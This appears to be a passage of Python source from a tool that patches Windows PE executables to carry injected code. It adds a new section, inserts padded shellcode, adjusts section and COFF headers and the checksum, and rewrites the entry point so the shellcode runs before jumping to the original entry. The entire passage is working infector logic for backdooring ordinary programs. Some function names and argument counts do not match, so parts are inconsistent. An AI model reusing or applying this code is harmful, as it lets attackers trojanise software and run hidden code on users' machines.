base_of_code_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_OF_CODE_RVA
current_base_of_code_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, base_of_code_rva_offset_within_header)
offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA))[1]
entrypoint_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
if current_base_of_code_rva > entrypoint_section_rva:
MultiByteHandler.set_dword_given_offset(self.binary_data, base_of_code_rva_offset_within_header, current_base_of_code_rva + self.rva_delta)
def __overwrite_entrypoint_rva(self, header_offset):
#Get current RVA for entrypoint
offset_for_address_of_entrypoint_rva_on_the_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA
#Get header offset for new header
raw_offset_for_shell_code_section_header = Win32BinaryUtils.get_raw_offset_for_last_section_header(
self.binary_data, header_offset)
rva_for_shell_code_section_header = MultiByteHandler.get_dword_given_offset(
self.binary_data, raw_offset_for_shell_code_section_header +
Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
#Overwrite current RVA for entrypoint with the new one.
MultiByteHandler.set_dword_given_offset(
self.binary_data,
offset_for_address_of_entrypoint_rva_on_the_header,
rva_for_shell_code_section_header)
def __file_align_shellcode(self, header_offset, raw_offset_of_header_of_section_containing_entrypoint, entrypoint_raw_section_size, jump_displacement):
"""
:param header_offset:
:param raw_offset_of_header_of_section_containing_entrypoint:
:param entrypoint_raw_section_size:
:param jump_displacement: this is the difference between the RVA for the shellcode and the rva for the endpoint. This is used to create shellcode
with a negative jump, i.e., the shellcode executes and then jumps to the entrypoint.
:return: This function is used to create a parametrized and padded shellcode.
"""
default_shell_code = self.shell_code_generator.get_base_shell_code(jump_displacement)
raw_offset_of_entrypoint_section = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER)
minimum_raw_offset_for_next_section = raw_offset_of_entrypoint_section + entrypoint_raw_section_size + len(default_shell_code)
padding_size = Win32BinaryUtils.compute_padding_size_for_file_alignment(self.binary_data, header_offset, minimum_raw_offset_for_next_section)
padded_shell_code = self.shell_code_generator.get_padded_shell_code(padding_size)
self.shell_code = padded_shell_code
def __adjust_section_headers(self, header_offset):
entrypoint_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA
entrypoint_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, entrypoint_rva_offset_within_header)
section_header_index_and_offset = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, entrypoint_rva)
offset_of_header_of_section_containing_entrypoint = section_header_index_and_offset [1]
# Set raw section size for shellcoded section
raw_section_size_offset = offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER
raw_section_size = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_section_size_offset)
raw_section_size += len(self.shell_code)
MultiByteHandler.set_dword_given_offset(self.binary_data, raw_section_size_offset, raw_section_size)
# Set virtual section size for shellcoded section
virtual_section_size_offset = offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER
virtual_section_size = MultiByteHandler.get_dword_given_offset(self.binary_data, virtual_section_size_offset)
virtual_section_size += len(self.shell_code)
MultiByteHandler.set_dword_given_offset(self.binary_data, virtual_section_size_offset, virtual_section_size)
number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS
number_of_sections = MultiByteHandler.get_word_given_offset(self.binary_data, number_of_sections_offset)
remaining_sections_after_shell_code_section = number_of_sections - (section_header_index_and_offset[0] + 1)
# Moving to the next section header
current_section_header_offset = offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
for section_index in range(0, remaining_sections_after_shell_code_section):
if self.rva_delta != 0:
virtual_section_rva_offset = current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
virtual_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
virtual_section_rva = (virtual_section_rva + self.rva_delta) if virtual_section_rva != 0 else 0
MultiByteHandler.set_dword_given_offset(self.binary_data, virtual_section_rva_offset, virtual_section_rva)
raw_section_offset_offset = current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER
raw_section_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_section_offset_offset)
raw_section_offset = (raw_section_offset + len(self.shell_code)) if raw_section_offset !=0 else 0
MultiByteHandler.set_dword_given_offset(self.binary_data, raw_section_offset_offset, raw_section_offset)
current_section_header_offset += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
def __update_checksum(self, header_offset):
checksum_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_CHECKSUM
checksum = Win32BinaryUtils.compute_checksum(self.binary_data,
header_offset)
MultiByteHandler.set_dword_given_offset(self.binary_data,
checksum_offset, checksum)
def modify_binary(self):
header_offset = MultiByteHandler.get_dword_given_offset(
self.binary_data,
Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)
beginning_of_last_section_header = Win32BinaryUtils.get_raw_offset_for_last_section_header(
self.binary_data, header_offset)
self.__set_rva_delta(header_offset)
#Computing RVA for last section
last_section_rva = MultiByteHandler.get_dword_given_offset(
self.binary_data,
beginning_of_last_section_header + Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
last_section_virtual_size = MultiByteHandler.get_dword_given_offset(
self.binary_data,
beginning_of_last_section_header + Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER)
potentially_unaligned_rva = last_section_rva + last_section_virtual_size
new_section_rva = potentially_unaligned_rva + Win32BinaryUtils.compute_padding_size_for_section_alignment(
self.binary_data, header_offset, potentially_unaligned_rva)
#Computing RAW for last section
last_section_raw_offset = MultiByteHandler.get_dword_given_offset(
self.binary_data,
beginning_of_last_section_header + Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER)
last_section_raw_size = MultiByteHandler.get_dword_given_offset(
self.binary_data,
beginning_of_last_section_header + Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER)
new_section_raw_offset = last_section_raw_offset + last_section_raw_size + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER + self.header_padding
#RVA for Entrypoint
offset_for_address_of_entrypoint_rva_on_the_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA
entrypoint_rva = MultiByteHandler.get_dword_given_offset(
self.binary_data,
offset_for_address_of_entrypoint_rva_on_the_header)
self.__file_align_shell_code(header_offset,
entrypoint_rva - new_section_rva)
self.__adjust_data_directories(header_offset)
self.__adjust_section_headers(header_offset)
self.__adjust_standard_coff_fields_and_coff_header(
header_offset, len(self.shell_code)) #<-Size of code
#Injecting header
new_initialized_header = self.__get_new_header(
len(self.shell_code), new_section_rva + self.rva_delta,
len(self.shell_code), new_section_raw_offset)
new_initialized_header.extend(
[0 for x in range(0, self.header_padding)])
self.__append_data_at_offset(
new_initialized_header,
Win32BinaryUtils.get_raw_offset_for_last_section_header(
self.binary_data, header_offset))
#Injecting shellcode
self.__append_data_at_offset(self.shell_code, new_section_raw_offset)
self.__adjust_windows_specific_headers(
header_offset, new_section_rva + self.rva_delta,
len(self.shell_code))
#Redirect execution to shellcode
self.__overwrite_entrypoint_rva(header_offset)
self.__update_checksum(header_offset)
return self.binary_data
